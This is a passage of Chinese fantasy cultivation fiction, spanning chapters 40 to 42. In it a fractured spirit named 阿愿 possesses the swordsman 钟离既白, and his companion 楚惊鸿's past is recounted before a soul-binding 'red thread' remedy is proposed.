云上洲人傲慢避世,沧洲向来不与世人言,神秘莫测,极夜洲则是唯一一个拥有真正天地所孕育之灵的地方。
极夜洲对他们的想法未发表任何意见,只是轻飘飘抛出一个问题:要通过什么方式,将血气聚集到妄洲呢?
要通过什么方式呢?
若说绛霜代表极夜洲与灵的命运,那是否可以说明,灵与祂的天地实实在在存在这联系?
一时半会得不到证实,可他们都朝着这个方向去解了。
于是在妄洲,阿愿带着所有人的期望诞生了。
祂什么都不懂,那些长辈们在祂身上施加的术法是何作用?祂不知道。
为什么都用这样热切的眼神看着祂?祂也不知道。
为什么会感到疼痛呢?祂还是不知道。
祂没有人的思维,不知道什么是黑白对错,祂只会疑惑,怎么会疼呢?祂为什么会疼呢?
于是章流漪向尚且年幼的她伸出手,答应她,带她去盈洲看瀑布。那一定是她从未见过的奇异景象。
可是妄洲的风沙太大了,看不见远处的高山流水。
章流漪还没说一句再见,就离开了妄洲。
妄洲灵不可以离开,因为祂已经成了尘缘九洲唯一的血气吸收器。
换作任何洲都受不了吸收所有血气。
迟早会崩溃,迟早会出问题,可当时,没有人觉得他们会解决不了。
最开始确实很好,空气里再也不会混杂着血气,可后来,紫极洲的凡人起义,颠覆了他们的王朝。
任谁来了都觉得这是再平常不过之事。
可对阿愿来说不一样。
战争意味着死伤,死伤意味着血气蔓延,死气横生……而这一切,阿愿都只能被迫接受。
灵也是会疼的。
怎么会不出问题呢?怎么可能不出问题呢?!
琴弦断裂,指尖划破,一道殷红飞溅,琴身染上颜色。
黑发红眼的少女挽上她的脖子,附在她耳边轻语:“你想到什么了,小流儿?”
藕紫色的裙摆在地上开出一朵花,少女眼神眷恋,仿佛以无限情意。
“没有。”章流漪将手指放进嘴里一抿。
“……”秋许笑意淡了,轻轻抚上她的面颊,一下子摸到她的眉眼。<
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那双玫瑰一般的红眸此刻透着冰寒,不夹杂任何情绪,衬得秋许像个傀儡娃娃。
“小玫瑰。”
章窈漪心下一紧。
秋许继续说:“小玫瑰,是要我这样叫你吗?小玫瑰?”
“可是我是秋许欸,我不是阿愿。阿愿更多的部分,是谁呢?就是看名字也明白吧。”
秋许爬在她身上,与她的眸子相视。
“为什么就是喜欢阿愿呢?冬愿都不来找你,只有我才会来找你的,小流儿~除了我,没有人想来找你。”
“现在这样不好吗?你为什么要和钟离既白做这样的约定?既许约,又许期。明明只要不违背誓言,我什么都不会做的。”
章流漪一把推开她,拨开帷幕去取了一根新的琴弦。
她是心疼阿愿不假,她觉得即便是一块碎片那也是阿愿不假,可并不代表她能认同。
说来残忍,可她们终究不同。
她曾经也把阿愿当妹妹看待,阿愿最开始的样子便是一个白发,眼睛与沙红姬一般美的小姑娘。
可灵和人是不相同的。
有句话如何说来着?非我族类,其心必异。她并不至于如此极端。
但,非我族类。
这便是她的理由了。
无论如何,她还是人。
秋许也数不清自己是第几次被这个无情女人推倒在地,但她不在乎。
她只记得,小玫瑰曾经像她许诺,一定会带她去看盈洲瀑布。
不过直到现在都没有,她大约是根本没记得。
也对,春望和冬愿惹了太大的事,夏期还绑架过章窈漪,小玫瑰连着她也一起不待见也正常。
她会等到她想起来的那一天的。
到时候……她想要她怎么样都可以。
若说夏期是最开始阿愿懵懂无知的状态,秋许便是怀揣着期待的阿愿,迫不及待要见到风沙外的风景。
夏日许期,秋日期许。
她在最开始给予以期待,第二阶段的阿愿,也那样期待着。
期待着期待着,却只等来了不愿与无望。
冬日不愿,春日无望。
现在镜花水月里的那个姑娘,应该快要见到过去的自己和冬愿了。
说来,她一定是冬愿喜欢的样子。冬愿就喜欢这些实力强大,信念坚定的人。
好像这就能得到拯救了。
好像这就算是拯救了,当时疼到在黄沙中匍匐前进的阿愿。
至于那个男子……
秋许看着帷幕前章流漪的背影,无声地笑了一下。
太有意思了,他分明就不是楚予思,为何与楚予思的身体如此契合?
想来想去,也只有一种答案。
他们是一个人,却不是一个人。
那个叫阿离的姑娘知道吗?她好想知道楚惊鸿到时候会是什么反应。
在七年前,她知道冬愿绑定在钟离既白的灵魂上,而从冬愿口中得知她死即他死时,露出的表情太美了。
破碎的,凄美的……就像阿愿疼到最后,连泪水都流干的模样。
对上一场不完全相同,却相似的事,她该是什么反应呢?
好想知道啊。
楚惊鸿,阿离。
是得知欲救世爱人必死更痛,还是弟弟被换了芯子更痛。
阿离阿离,离她而去的人,不少了。
40. chapter.40阿愿
离开绝音楼不过二日,现如今又要回去。
再见这镜花水月,姜涟清还是刻意注意了脚下是否有异。
吃一茬长一智是这样的,不确定过都不放心。
现在,在绝音楼,她第一次见到了钟离既白。
那个人人叹之可惜的紫极洲天骄。
白衣胜雪,仙人风骨,通身气派正气凛然,却像个文人,与书中所提及的紫极洲文人的样貌,像了个十成十。
玉树临风,风流倜傥。
可现在这情形,似乎不妙。
楚逢生一进韶华阁,看见的第一个人就是楚予思,两个人一对视,默契地翻了个白眼。
楚逢生想怎么还得见到他。
楚予思想怎么还要见到这人。
还未等楚逢生看遍所有人,一柄唐刀便直直破开风声,指在了他门面。那刀身通体玄黑,又有流金相嵌,他几乎是一眼便认出了。
百闻相见。
一柄名刀。
在千年后被传给了百闻宗那位几乎复刻钟离既白前半生履历的少年天才手中。
而此时拿刀指着他的人,便是七年后杳无音信的钟离既白。
钟离既白面相不凶,却莫名有威压:“这位兄弟是何人?怎么看着和楚予思长得一模一样呢?”
楚逢生转了圈眼珠,暗自吐槽:不一样才有鬼了。
“因为这就是楚予思的身体你满意了吗?”楚逢生一指抵上刀尖,刀尖顿时戳破指尖,留下了个细微的伤口。
钟离既白一愣,瞬间收回百闻相见:“不好意思,那这是怎么一回事?”
“实在闻所未闻,怎么能有谁的灵魂和别人的身体契合成这样?”
然而听到这个回答最惊讶的,其实是楚予思本人。
他一下子站直了身体:“不对?什么叫这就是我的身体?哥们你到底谁啊?”
姜涟清一叹气,将楚逢生拉到身后,解释道:“他叫楚逢生,我们是通过镜花潭来到这里,来见证盈州之乱的,我还以为棠溪迟会给你们解释。”
“棠溪?解释?好看得起他啊这位姑娘。”钟离既白大咧咧地往椅上一坐,“棠溪说几句废话我都谢天谢地了,一天到晚让人猜谜语。”
姜涟清:“……”
棠溪迟你听到了吗?这就是你的口碑。
钟离既白:“不过说镜花潭我就知道了,镜花水月之术嘛,也不是不能接受这个答案。”
“但是……”他迟疑一瞬,又眸色不清地瞥了一眼楚逢生,“真是奇了……”
楚逢生也不是什么客气的人,也不知道什么时候起,别人一句他长得和楚予思一模一样心中便不快。
他太爷太奶脾气不好,不见得他是个脾气好的。
“奇了奇了什么奇了。”楚逢生冷笑,“我还想问您怎么能看到我们呢,我们七年后可从来没见过什么钟离既白知道吗?您七年后也是深藏不露啊。”
其中意味不言而喻。
钟离既白罕见地沉默了,仿佛觉得这便是他将有的以后。
“这就是我为什么会这么快来到这里了。”钟离既白神色如常。
“我还以为你会去落金,毕竟那边春望的气息浓烈。”来人一袭红裙,眉眼却是温婉柔美的,与这一身红色相称别有韵味。
章流漪看了一眼一模一样的楚逢生与楚予思,到是没发表自己的意见,走到主位处一坐,便是要谈事的态度了。
姜涟清不认得这是谁,但思来想去,或许只能是那个人。
绝音楼楼主,章流漪。
按理来说,她应是看不见她,却看得见楚逢生的。
随着她进来之人还有那黑裙少女,发髻上别了两朵白色芍药,接着便是即墨棠溪。
这下子,除了吴云贺都齐了。
即墨逾进场时一如既往面无表情,却多分了个眼神给楚逢生。
看得出来这些灵修对楚逢生很好奇了。
此次聚众交谈她与楚逢生倒是要当做背景板,知不能言。
棠溪所说的,不要告诉他们任何关于盈洲乱的事,想来就是不想让他们扰乱当下方向。
这样才能呈现一个,更接近于当时的盈洲乱。
钟离既白轻叹一声:“我倒是想去落金,但事发突然,我怕我去了更是雪上加霜。”
楚惊鸿惊诧:“什么意思?虽然我一直说你有病,但我没否认过你很厉害,你不是最……”
“阿离,我在想。”
楚惊鸿话音未落,钟离既白便抢过了话茬。有些话不得不说,有些决定不得不做。
“我在想,妄洲灵真的完整吗?”
“我们追着的春望,就是完整的妄洲灵吗?我先前并不觉得这有什么好质疑的,但现在不一样。”
“我怀疑……”他声音都颤抖,却硬要装作一副镇定的模样,全然意识不到自己现在脸上多难看,“也不是怀疑吧,我敢肯定。”
“我敢肯定,妄洲灵是分散的,祂碎了不同时间点的自己,祂已经被血气影响到连灵都不完全的地步了。”
棠溪迟一挑眉,但到底还是一字未发。
反倒是即墨逾沉默良久,开口道:“因为你见到了,是吗?你见到了一部分的阿愿。祂是叫阿愿,我没记错吧。”
“或者说。”他如死潭的眸中没有波澜,却好像看穿了灵魂,看穿了灵魂深处的秘密。
“祂的一部分,现在就在你的身体里,是这样吗?钟离,你的灵魂不太对劲。”
此言一出,满座无人言语。
这猜测过于大胆,可若说谁通灵魂之事,那只有身为灵修的钟离既白和即墨逾。
他们都是罕见少有的灵修,在座之人都知道,这话从一个灵修口中说出来到底是什么含义。
楚惊鸿扭头看着钟离既白,想要他说点什么,可又怕他所言是承认而非否定。
灵的碎片寄生人的身体……不,若是灵魂的异样,那便是寄生于人的灵魂,这要怎么杀死灵呢?
章流漪倒是意外即墨逾会直言其中不对之处,以往他少言寡语,有所行动却从未说过自己看见了什么。
而这一说,便是如此严重之事。
可若是灵会寄生人的灵魂……她没由来地想起,自三年前的夜,耳边每每传来轻声细语。
一字一字呼唤她的名字,像是哄小孩睡觉般的语气。
莫名毛骨悚然。
时至今日,她仍未知晓,是谁在午夜前来?是谁在她耳畔低语?宛若一曲催眠诗。
可现在她突然有猜测了。
阿愿。
她曾这样哄过阿愿。
如果真如即墨逾所言,灵会寄生于人的灵魂,那那一部分的阿愿,是选择了她吗?
这并不是一件好事。
于是她的目光也给到钟离既白。
钟离既白本打算自己说出来的,他一直觉得即墨逾和棠溪迟是一类人,看穿不说穿。
他还是第一次见他如此直截了当。
既然这样,那就没有什么是不可以全盘托出的了。
他点头:“嗯,冬愿就在这里,她听到了,可我们拿她没办法。”
“她只是之一,她不会死。而被寄生之人……或许,就如绛霜于极夜洲,沙红姬于妄洲。”
“唯有死亡,只有死亡,才能切断这种链接,可我
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想找找,有没有其他办法,即墨,你说能不能……呃!”
钟离既白的话戛然而止,脖颈处突然显现一双白皙稚嫩的小手,正掐着他的脖子,强迫他不得言语。
白发绯眸的小女孩飘在她身后,俏皮的红裙正是沙红姬的颜色。
冬愿笑着,眼睛里却只有冰冷:“真讨厌,小白,明明只是想让你帮帮‘我们’,就这样迫不及待地要摆脱吗?”
“不可以哦,我们是一体的了,杀了我不就是杀了你?哦不,应该说,杀了我就是杀了你,而不是杀了我。”
“你不是灵修嘛,那你当然知道,灵魂链接是牢固的存在,唯有死亡才能将我们分离~”
冬愿抬头扫视一圈,并未在章流漪等人身上过多停留,却将目光定在了楚惊鸿身上。
她觉得,楚惊鸿的名字才该是阿愿的名字。
阿离。
阿离,阿离,阿离……
离开了,没有人留下来。
那些孕育出她的人离开了,许诺与她看瀑布的小玫瑰离开了,过去的她与未来的她离开了……
没有人会回到大漠黄沙里,没有人会在意阿愿的死活,他们觉得自己可以解决。
凭什么?
凭什么凭什么凭什么?
冬愿内心疯狂叫嚣着,死死要问一个答案。
那些人觉得可以解决,那她就偏要搅得天翻地覆,让他们怎么都解决不了。
“阿、离。”冬愿眉眼弯弯,“你都叫阿离了,应该不介意吧。”
“应该不介意,再有一个人离开你了。”
楚惊鸿顿时瞳孔微缩。
冬愿的身影渐渐隐去,反之钟离既白的面容逐渐扭曲,瞳孔蓦然变成全白,身体不断抽搐。
“这怎么了?”棠溪迟一皱眉,上前就要查看。
章流漪一下子站起来,即墨逾也坐不住了。
钟离既白的眼珠一直在转动,最终,瞳孔稳定在红色。
是冬愿眼睛的颜色。
“钟离既白”脸上浮现了一个诡异的笑颜。
嘭……
他的身体炸开,变成了一堆花瓣,引来狂风大作,吹开韶华阁的门,将红色花瓣悉数吹出门外。
消失不见。
“什么意思?!”楚惊鸿失神片刻,突然激动起来,抬脚追到门口,却什么都看不见。
只有风把她头上的芍药吹落在地。
“什么叫……”
什么叫不介意再有人离开她?
她想找一个方向追去,可真真就没留下任何痕迹,无处寻觅。
“阿离。”章流漪追到门前,搭上她的肩膀,摇了摇头。
“不要着急,钟离不会离开你的。”
“我知道。”一行清泪从她右眼流下,楚惊鸿的声音轻飘飘的。
“我知道。”
“他说过不会离开我的,我……我知道。”
阿离这个名字自她降生起,就仿佛一个诅咒,诅咒她亲缘淡薄,诅咒她失去一切。
所以她拼命地想要留住。
留住得到过的一切,可一切怎么就是随不了她的愿呢?
先是父母死于百年前一次战乱中,再是楚予思不愿意再和她这个孪生姐姐待在紫极洲,孤身前去初日洲求学,然后是宗门内挚友在一次历练中丢了性命……
阿离的离是离别的离吗?她注定要和所有人离别吗?
“不是的。”当时明月高照,白衣少年信誓旦旦,“是将离草的离才对。”
“金谷已空尘,熏风转、国色返春魂。”
于是那夜以后。
楚惊鸿的发髻上开始别芍药。
41. chapter.41将离
风声平息,一切归于原样。
楚惊鸿擦去脸上那点泪,轻轻笑了一下。
“钟离既白要是不守约定我就打死他。”
偷偷摸到韶华阁,还未有任何人在意的章窈漪闻此言瞳孔瞪大。
怎么还要把人打死,好凶的漂亮姐姐!
章流漪舒了口气,余光瞥见角落那小小身影,才想起棠溪迟说,她是个无情道的苗子。
尽管她并不觉得非要是无情道,可章窈漪的根骨的确很好,适合修道。
她向她招招手:“窈窈,过来。”
章窈漪听话地从角落出来,走到她身前,眨巴眨巴眼睛,一副无辜模样。
似是在说:我不是故意偷听的。
然章流漪也不想追究这件事,她只不过是想听听小姑娘的意见:“窈窈,想不想去云上洲修道?”
章窈漪一歪头:“可是云上洲好远。”
听起来是想的,就是有些犹豫。
章流漪牵着她走进韶华阁,里面的人还未离去。
棠溪迟看见她牵着那个小姑娘进来,大概也猜到了她想说点什么题外话。
他觉得她适合无情道主要还是因为她的根骨一看就适合当剑修,而云上洲正好是剑修最好的去处。
无情道什么的都可以再谈。
棠溪迟:“哎呀,这是来做决定了吗?那小朋友到底想不想去云上洲啊?到时候我就是你师兄了哦。”
章流漪瞥他一眼并未说什么,而是轻声对章窈漪说道:“如果不想就拒绝他,他也不是什么好东西。”
棠溪迟:“……”
当面说坏话这一块还得是章流漪。
但章窈漪此时的目光定在方才全程未发一眼姜涟清身上,一见到她,就觉得通身气派不似凡人似仙人。
“漂亮姐姐。”她看得见,“你是从哪里来的啊?”
章流漪顺着她所看的方向看去,却什么都看不见,但从棠溪迟和即墨逾无动于衷的反应来看。
那里,应当是有一位未曾见她的姑娘,是吴云贺的无情道小师妹。
姜涟清没曾想这还能有她的事,一时不知道怎么回答。
现在的窈窈是七年前的窈窈,她不知当时具体是何情形,但最终窈窈是去了云上洲的。
最重要的是,当时她做决定绝对没有自己在场。
她斟酌着开口:“我从降星洲来。”
“嗷,这样。”章窈漪点点头。她又言:“姐姐,我阿姊好像看不见你。”
姜涟清对小孩子的耐心非比寻常:“她当然看不见我啦,况且我是不能动摇你的决定的。”
章窈漪不知道这是为什么,她还太小,距离这些大人的世界还太远。
她转身又问章流漪:“阿姊,如果我去的话,以后会和阿姊一样厉害吗?”
章流漪柔情地摸了摸她的头:“此路虽任重道远,把握机遇便会和我一样厉害了。不是要现在就做决定,在棠溪离开之前,都可以。”
“云上洲确实有些不近人情,墨守成规,但以你的资质,确实该去云上洲才是。”章流漪想着,从腰间解下一个穗子。
那穗子是双生昙花,白洁花瓣的末端微微泛着紫色。
“在结束之前,你可以一直待在这里。”
“嗯哼~”棠溪迟起身,离过姜涟清时眼神示意她跟上,“不用马上给我答可以慢慢想,毕竟自己人生,确实要慎重才是。”
在拥有选择权时,慎重自己的人生。
“我先走了啊。”
出了韶华阁,楚惊鸿还没有走出去很远,虽不知她要去哪里,但棠溪迟有了感兴趣的事情,是不会放弃求知的。
绝音楼范围内也有很多瀑布,在一条银白色瀑布之下,路经可见一块凸起,那是一块青石。
当时吴云贺就是在这里差点绊倒。
姜涟清一时不明白为何要追着楚惊鸿,但若是真的要细究钟离既白,似乎就绕不开这位楚惊鸿。
“棠溪,你是要去……”虽隐隐有所猜测,但姜涟清还是觉得要完全确定才对。
“当然是追根溯源啊。”他连头都不回,“钟离既白绕不开楚惊鸿,楚惊鸿也绕不开钟离既白,我倒是想到了一个好法子,就是要确定,他们究竟是何种感情了。”
楚逢生眸色一凝,一下子联想到了千年以后……不是吧,居然是这个时候吗?
还真是……
他现在也对他们二人的过往好奇了,就当是未曾谋面的太奶奶给小辈讲故事吧。
若真是红线一引牵,那该是多大的决心呢……
*
楚惊鸿最开始并不叫楚惊鸿,这个名字是因为钟离既白她才改的,因他莫名其妙说什么惊鸿一面。
她最开始的名字,叫楚予离,这听着倒像和楚予思是姐弟关系了。
阿离阿离,便是这样来的。
最初楚惊鸿未曾想过要走修道之行,她是商户家的女儿,也不缺大多数平民姑娘所需之物。
可紫极洲是最兴王朝之地,唯有此地多年来以帝王之制为著。若说其余洲的国度与修仙界关系良好,那在紫极洲便可说王朝与修仙界异常遥远。
紫极洲的凡界是非纠纷无修仙者调解,他们的征战时隔几年便会上演,改朝换代之事见怪不怪。
所以在楚惊鸿六岁那一年,她的父母在战乱中丢了性命。
生命弥留之际,二人将自己的一双儿女脱给同为逃难之人,而他们就和大多数战争受害者一般,连尸体都铺成了征战之路。
这是楚惊鸿第一次学到离别,便已刻骨铭心。
她不再是锦衣玉食的小姐,而是逃难路上的难民。
一个月明星稀的夜晚,她带着同样睡不着的弟弟爬上了一棵枯糙的树,姐弟两个依偎再一起。
“小四,你以后想去哪里?”她问。
楚予思和她是双子姐弟,年龄上一致,乍一听自家姐姐如此感性,还有些不习惯。
但现在情况特殊,他理解姐姐为什么突然煽情。
“我不知道,未来的事谁说得准呢?如果可以的话……”他想了想,“我可能想当医者吧?”
彼时她还是楚予离:“哎呀,我是想问,你也会离开我吗?”
楚予思一挑眉:“这话哪里有关联了姐?你又在想什么呢?”
“你又听那几个老头唠叨了是不是?你只是叫阿离,又不是真的诅咒谁,谁信了那几个老头的鬼话那真是请神都没用了。”
“我只是想知道,你会不会也离开我而已。”楚予离干笑几声,又将头靠在树干上。
天边的月亮那么白,像一块完美无瑕的玉,却非满月,仍有缺口。
“不要离开我小四,我只有你一个亲人了。”
当时楚予思什么都没说。
而后也真的离她而去。
她机缘巧合之下得到了入百闻宗的机会,得了仙缘最先想到的便是带着弟弟一起。
而当时十六岁的楚予思说。
“不。”
“姐,他们要的是你,不是我,我也没有读书的天赋,更没有习武的天赋,也不像你这般手巧。”
“并非要贬低我的意思,只是,这里不适合我。”
“或者说。”他抬眸,眼中并未有不舍,“紫极洲不适合我,我迟早要离开紫极洲。”
现在她有了去处,他就要去找自己的道了。
楚予思都这样说了,她又有什么理由硬要他留下来,怎么能成为弟弟路上的绊脚石?
楚予思的人生是他自己的。
她得到了她的机会,他也要去寻他的机缘了。
没有道理让他留下来。
于是,一别二百余年,才在盈洲相逢。
她这样的资质,百闻宗能找出来一百个,可以说是在修仙界再平常不过的天赋了。
因此才对强大无比向往,钟离既白的名字更是如雷贯耳。
谁会不知这位入世救世,堪比救世主的绝代天骄呢?在真正与他相识之前,她也觉得这人是个圣人。
在百闻宗的日子一天天过去,好长一段时间,再没有人管她叫阿离。直到那天撞见一位新晋弟子偷偷将烧鸡带回宗门,被她抓了个正着。
那少女一愣,尬笑几声,掰下一只鸡腿递向她:“哈哈哈哈哈……师姐,要吃鸡腿吗?”
烧鸡的汁水溅到她的裙装上,香味蔓延,是好久不见的烟火气息。
楚惊鸿答非所问:“你叫什么名字?”
“回师姐,我叫阿黎。”
听到这个名字的一瞬,她怔愣片刻。
“哪个离?”
“黎明的黎,怎么样,是不是超级好听?我阿爹年轻时是个书生,惯爱吟诗作赋,才给我起了这般不同的名字。”
楚惊鸿板着的脸终于展露笑颜,她接过鸡腿,俏皮地敲了一下阿黎的额头:“下不为例嗷,师姐今天看在鸡腿的份上就放你一马。”
阿黎嘻嘻一笑:“谢谢师姐大恩大德啊,滴水之恩当涌泉相报。”
“哎呀想不到师姐这么变通,我还以为师姐们都是主教师兄师姐那些凶的嘻嘻~”
“你这样说话,当心我去和师兄师姐告状嗷。”
……
可每一句无心之话,都像是许下诺言。
话语便是无心许下的诺言皆被上天所听,即便遗忘许久也会在某一天履行。
当时没有妄洲灵吸收血气,紫极洲便成了血气最浓郁的地方。
浑浊的魔气孕育出妖魔鬼怪,百闻宗弟子不是在除妖便是在除妖的路上。
按理来说,楚予离这样的器修弟子,并
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不需要参与到猎妖之队列。
但修道者放在世界上,本就是凤毛麟角的存在,即使与楚予离相似之人再多,也不可否认其天赋。
在某次历练里,阿黎当真为她的话履行了承诺,并非是记得,只是她还来不及思考,身体便做出了反应。
阿黎当时说了什么,楚惊鸿其实记不太清了。
她只记得,黎明时分,这位比她年幼许多的师妹挡在她身前,回眸时那凄然又情愿的微笑。
她脸上的血迹还来不及擦去。
“师姐,这种打架的事还是我们来做吧。”
第三次。
这是第三次。
楚予离终于确定。
名字是最开始的诅咒。
温热的血液在即将亮起的天空下渐渐变得冰冷,她几乎以为,这便是她的人生终点。
可不是。
几道白光而过,有人白衣蹁跹,一刀斩了妖物首级,那强大的金丹期灵力第一次让楚予离知道什么叫天才。
这便是百闻宗引以为傲的天才了。
钟离既白。
他事后懊恼,他还是速度太慢了,如果他可以快一点,再快一点,是不是就能救下所有人了?
要是能快一点就好了。
就像爹娘当时在战乱中,要是他们都能跑得快一点就好了。
快一点就好了……
晶莹的泪滑落,面前絮絮叨叨的少年一下子停了话语,变得不知所措。
他笨拙地蹲在楚予离面前,撕下自己雪白的衣袖,擦去她脸上的血与泪。
“别哭啊这位师妹,人死不能复生,将人带回去好生安葬吧。也是我的错,如果我能再快……”
啪!
钟离既白瞳孔一缩,摸了摸脸上泛红的地方。
楚予离甩完他巴掌,眼泪更是像断线珠串一般滑落。
“你在道什么歉?你有那么神通广大吗自以为能救下所有人?不可能的!你以为你是谁啊?”
“你哪里错了,我不明白了?你为什么要道歉?你就是再慢一点又有什么错?生死离别哪有那么多如果啊?”
“离开的原因哪有那么多理由,哪里来的如果啊?都已经发生了,已经发生的事情是不可能再改变的!”
她声泪俱下。
“离开的人不会再回来了啊!”
钟离既白听着她说完,直到她再不说一个字,只是跌跌撞撞地跑向尸身,试图将死者抱起。
名字还是太残忍了。
阿黎在黎明时闭上双眼,再也不会醒过来。
钟离既白跟上她,脸上的薄红还未褪去,但他丝毫不恼,只是将那块衣角递给她,叫她擦擦眼泪。
他身上从来没有手帕之类的东西,这种时候只能撕自己的袖子,真是太丢脸了。
回去之后他一定备上。
“离开的人是不会再回来了,你说的是对的。”
少女的转头愤怒地瞪了他一眼,眼角泛红,倒像是上了妆。
但钟离既白明明白白感觉到她是生气的。
“唉唉,别瞪我啊师妹,我只是想说,在凡人眼中,离别是注定的,没有谁会一直陪着谁,就像你说的生死别离。”
“我们是修道者,我们的寿命很长,变故也更多,我知道看淡别离很困难,可没有人能许下这样的承诺。”
楚予离不理他。
钟离既白没有哄人的经验,但他此刻却很想要她不要那么难过了。
“我给你许诺好吗?”
“你给我许什么诺?我认识你吗?”
“现在不就是认识了嘛,我是钟离既白,敢问师妹大名?”
她的声音有点哑:“楚予离。”
“好熟悉啊,从师弟们口中听过。”钟离既白说,“今日一见,果真是惊鸿一面。”
楚予离当然觉得他在胡言乱语,并未把他的话当真。
“你要许什么诺?莫名其妙的。”
天边的太阳升起,天地骤然明亮,日月已更迭。
“我向你许诺。”
“我永远都不会离开你。”
楚予离好久没说话。半晌,她抱起阿黎的尸体,开口:“你以什么身份说的这种话?”
钟离既白:“就不能是一见钟情心起怜悯吗?”
楚予离:“滚吧,谁要你可怜?有病似的。再说这么恶心的话我就打你!”
可钟离既白也不是个脾气好的,方才简直是他最温和的时候。眼见楚予离现在没那么崩溃了,他也放心回嘴了。
“省省吧妹妹,其实你根本打不过我。”
“总有一天可以,你等着吧!”
“嘁,那我等着那一天喽~”
……
往后,便没有楚予离了。
她叫楚惊鸿。
42. chapter.42枯木
“如果真的有个办法,让他完完全全不可能离开你,也没法让冬愿寄生他的灵魂呢?”
棠溪迟说。
楚惊鸿微微蹙眉,试图从他的神色中看出一点不对劲来,可这人说出这话一点都不心虚。
怎么可能会心虚呢。
姜涟清暗里叹气,就是七年后的棠溪迟也是这种毫不在意的样子,说的话靠谱几分还有待商榷。
她隔着衣袖,默默拨了拨楚逢生的手,试图说点悄悄话。
“我可以说吗,其实挺像经典话本桥段的,关键时候英雄救美捕获芳心什么的……不过钟离既白听起来是真的很遗憾自己来晚了。”
楚逢生:“当然了,钟离既白是最开始被说救世主的人好吗?虽然最后他也不是什么救世主。”
这话倒是奇怪,什么叫“最后”也不是救世主。
最后是指的盈洲乱,还是指的妄洲灾祸?
自从来到盈洲,他口中吐出的话越来越捉摸不透了,而且除了对上楚予思,他也没说过什么欠嗖嗖的话了。
说自己是死人不算,这叫自轻。
姜涟清不想他这样说自己。
“你真的知道很多东西。”姜涟清眨眨眼,眼中疑虑更甚,“楚逢生,你到底是从哪里来的。”
楚逢生一顿:“怎么问这个了?”
“算了。”姜涟清摇摇头,“我们继续听吧。”
继续听什么就不用明说了。
棠溪迟给出的方法很大胆,可以说前无古人后无来者,但在姜涟清和楚逢生眼中,却是,便是倒回初始,看即墨逾的灵感来源。
同死共生咒替代灵魂羁绊,那还有什么是可以替换灵魂羁绊的呢?
“你只需要代替冬愿,和钟离既白连接灵魂就好了。”棠溪迟轻描淡写道,“这只需要明确一件事就好。”
楚惊鸿有些迟疑,但想要钟离既白好的想法还是占了上风。
“你要确定什么?”
“很简单。”他说,“你喜欢他吗?或者更直白些,你爱他吗?”
楚惊鸿当即反驳:“这是什么问题?”
彼时日渐西移,周遭寂静,金黄的银杏叶无声掉落。
“只需要知道这个就好了,你爱他吗?”棠溪迟重复,“只要你爱他,那就有办法。”
“什么办法?”
楚逢生心中一叹:反正绝对不是让你们后悔的办法。
在千年以后,他真切见到了此法唯一的后遗症。
那实在是爱人之间最好的证明。
如果没有生死别离的话。
“红线引。”
这声音低沉如水,平淡非常。
金叶簌簌而下,丹霞漫天。
即墨逾姗姗来迟,轻吐出三字,便应证了楚逢生心中所想。
“爱人与爱人之间最好的证明,便是这红线能否牵上,可确定你的心意,不过……”即墨逾陈述,“需要双方,心意相通。”
需要他们心意相通。楚惊鸿心下一沉。
“根据冬愿说的话,若是真的,那钟离既白也必须要‘死’一次。”
“不过还有办法让他活过来,就是其中所需之物或许难办。”
这难办的东西是什么呢?
姜涟清咽了口口水。这对他们二人来说是好的吗?
后世的二人的的确确通了心意,可那又如何?
楚惊鸿许是承了商家天赋,到能办起明月楼,明目张胆地将招牌酒起名相思泪。
可钟离既白呢?虽不明白到底是在哪个犄角旮旯和他见过一面,但绝对是在盈洲。他一直在盈洲,可从未出现,就这样销声匿迹。
到底发生了什么……
姜涟清不由垂眸,困惑愈来愈深。
这解法该是如何模样?若换作她二师兄,也能如法炮制吗?
因这洲灵附体而死之人,除了他吴云贺,尽是全部生还。
如果换做吴云贺,也能解开吗?
“什么东西?枯木逢春吗?”棠溪迟一下子便想到了此物。
枯木逢春生长于初日洲雪凇谷,初日洲唯一一个常年飘雪之地,其采摘难度不小。可若是论功效……
那枯木逢春当是天下第一奇迹。
起死回生并不是闹着玩的,除了极夜洲死板法则一般的绛霜,约莫是没有它解不了的病。
“那确实有点难办了,问问楚予思?他不是从初日洲来吗?所以假设红线引可成,还是要钟离既白去死。”
“枯木逢春所用时间必是要他死去一瞬,慢一点都不行,不然已死之人要如何回魂?除非是轮回转世后灵魂归原体。”
“有难度也有风险。”
棠溪迟将目光投给楚惊鸿,勾起一抹淡笑:“楚小姐,你想要这个机会吗?只要你们是心意相通的。”
心意相通……
他们,是吗?
楚惊鸿茫然。
他们心意相通吗?
她不知道,她连自己的心都看不明白。若是为了那口头承诺,未免太过自作多情。因为钟离既白就是这样的。
他向来见不得任何人难过,见不得人间伤亡惨重,见不得妖邪作乱扰人清梦。钟离既白就是这样的。
他是为盈洲之乱而来。
若问他愿意与否,他定然愿意,可……他爱她吗?楚惊鸿怎么问自己都得不到一个确切的答案。
“我不知道,但可以试试。”楚惊鸿说。
便只能是这样了,她再没有其他答案,果然是高风险。
感情之事,换钟离既白来说,也说不清吧。
楚逢生一扶额,小声嘀咕:“赌真大,原来是遗传到这了……怪不得我这么敢……”
姜涟清见他又在说一些听不真切不知所云之物,屈指敲了一下他的脑袋。
“碎碎念什么呢?说给我听听。”
楚逢生一吓,不由自主往旁移了一步:“我不过是说真敢赌而已,我们是知道结果不错,但这经过也太草率了吧。”
“这不是敢赌是什么。”
楚惊鸿:“……”
楚惊鸿:“我好像是看得见你,也听得见你们说话的吧?就这样当面说吗?就这样口无遮拦吗?”
“我现在是有点看不出来,你和楚予思的区别在哪里了。”
这惹人嫌的性子真是别无二致。
“那还是很有区别的。”姜涟清出声否定。
楚惊鸿好奇:“区别在哪?你说得出来似的。”
这下轮到姜涟清语无伦次了。
区别在哪呢?区别在他们芯子不一样吗?可说的是性格方面吧。
她还是觉得是有差别的,不过只可意会,不可言传。
“噗嗤。”楚逢生笑了一声。
“区别在我会喜欢她,楚予思不会,你满意了?”
满意个鬼。
姜涟清一下子笑不出来了。
他说什么?什么叫他会喜欢她啊?这是什么意思啊?这要是随口一说用来呛人的,她就打死他。
姜涟清:“你再说一遍?”
楚逢生扭头:“不说了,还是看正事要紧。”
姜涟清一下子恼了,轻哼一声,准备到太阳落山后再理他。她根本没意识到自己现在对楚逢生的态度多奇怪。
暮色渐晚,沉默的
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空中,有倦鸟归林。
*
翌日一早外界便传来消息。
“不好了楼主!不好了!”
一绝音楼弟子急匆匆跑进韶华阁,连行礼都忘记,喘着气便要汇报详情。
